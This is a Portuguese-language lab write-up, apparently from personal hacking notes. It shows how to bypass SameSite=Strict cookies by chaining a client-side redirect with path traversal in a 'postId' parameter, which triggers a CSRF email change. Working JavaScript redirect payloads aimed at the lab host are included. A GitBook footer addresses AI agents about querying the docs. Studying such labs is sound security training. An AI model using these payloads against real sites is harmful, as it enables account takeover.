> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/samesite-strict-bypass-via-client-side-redirect.md).

# Bypass do SameSite Strict via redirecionamento no lado do cliente

### Contorno de SameSite Strict via redirecionamento no lado do cliente

O formulário de alteração de e-mail do laboratório é vulnerável a CSRF. O objetivo é alterar o endereço de e-mail da vítima hospedando o exploit no servidor de exploração fornecido.

**Testar acesso**/ Conta usada no laboratório: `wiener:peter`

### Observações Principais

1. A funcionalidade de alteração de e-mail funciona por meio de uma solicitação GET deste tipo:

```
/my-account/change-email?email=test@test.com&submit=1
```

<figure><img src="/files/7e28843348a13fe7d82f638b48a300c9c0c40076" alt=""><figcaption></figcaption></figure>

Ao enviar um redirecionamento JavaScript como este:

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/my-account/change-email?email=hack@test.com&submit=1";
</script>
```

* a página solicita autenticação se o usuário não estiver logado — a consulta não leva o cookie de sessão quando vem de outro site.

<figure><img src="/files/0f9ed9866613163a62d2cf01fa1d0bf469d1e056" alt="" width="563"><figcaption></figcaption></figure>

O `Set-Cookie` o cabeçalho contém `SameSite=Strict`, o que impede o envio do cookie de sessão quando a navegação é iniciada a partir de outro contexto (cross-site), normalmente bloqueando ataques clássicos de redirecionamento.

<figure><img src="/files/dab7d895880b4ad391af45b801eba143acdab997" alt=""><figcaption></figcaption></figure>

### Área explorada (comentários → Confirmação → Redirecionamento)

1. Há uma área de comentários que então redireciona para:

<figure><img src="/files/e20b707db341efd31d1a13f4c68195fdaf42cb35" alt="" width="563"><figcaption></figcaption></figure>

```
post/comment/confirmation?postId=8
```

<figure><img src="/files/b899078a6eaa2430a74729551989909cc0862bf4" alt=""><figcaption></figcaption></figure>

Um script na página de confirmação extrai o `postId` parâmetro e redireciona após 3 segundos para o post correspondente:

```javascript
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}
```

<figure><img src="/files/d4523a5c51307aa039d0f461a94906454bb1d9e1" alt="" width="353"><figcaption></figcaption></figure>

<figure><img src="/files/cfc89bf00441139e3bdde6ff53278df7500f0b22" alt=""><figcaption></figcaption></figure>

```javascript
window.location = blogPath + '/' + postId;
```

```
window.location = blogPath + '/' + ../my-account;
```

Observando esse comportamento, notamos que `postId` não é estritamente obrigatório: se alguém alterar seu valor (por exemplo, `test`), o redirecionamento vai para `.../test` sem validação aparente.

#### Contornando o SameSite Strict por meio de caminho manipulado

Ideia: substituir o redirecionamento para `blogPath + '/' + postId` por `postId` contendo segmentos `..` relativos para alcançar um caminho do site-alvo (retorno a diretório anterior), por exemplo:

`/post/comment/confirmation?postId=../my-account`

* o redirecionamento então leva a um diretório acima sem bloquear o cookie de sessão.

<figure><img src="/files/492a2c8c47db782a6f8ae871990516f0c69d0ba8" alt="" width="563"><figcaption></figcaption></figure>

Ao criar um `postId`mais específico, direcionamos diretamente a função de alteração do e-mail:

```
/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1
```

Redirecionamento simples para a página de alteração de e-mail:

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/samesite-strict-bypass-via-client-side-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
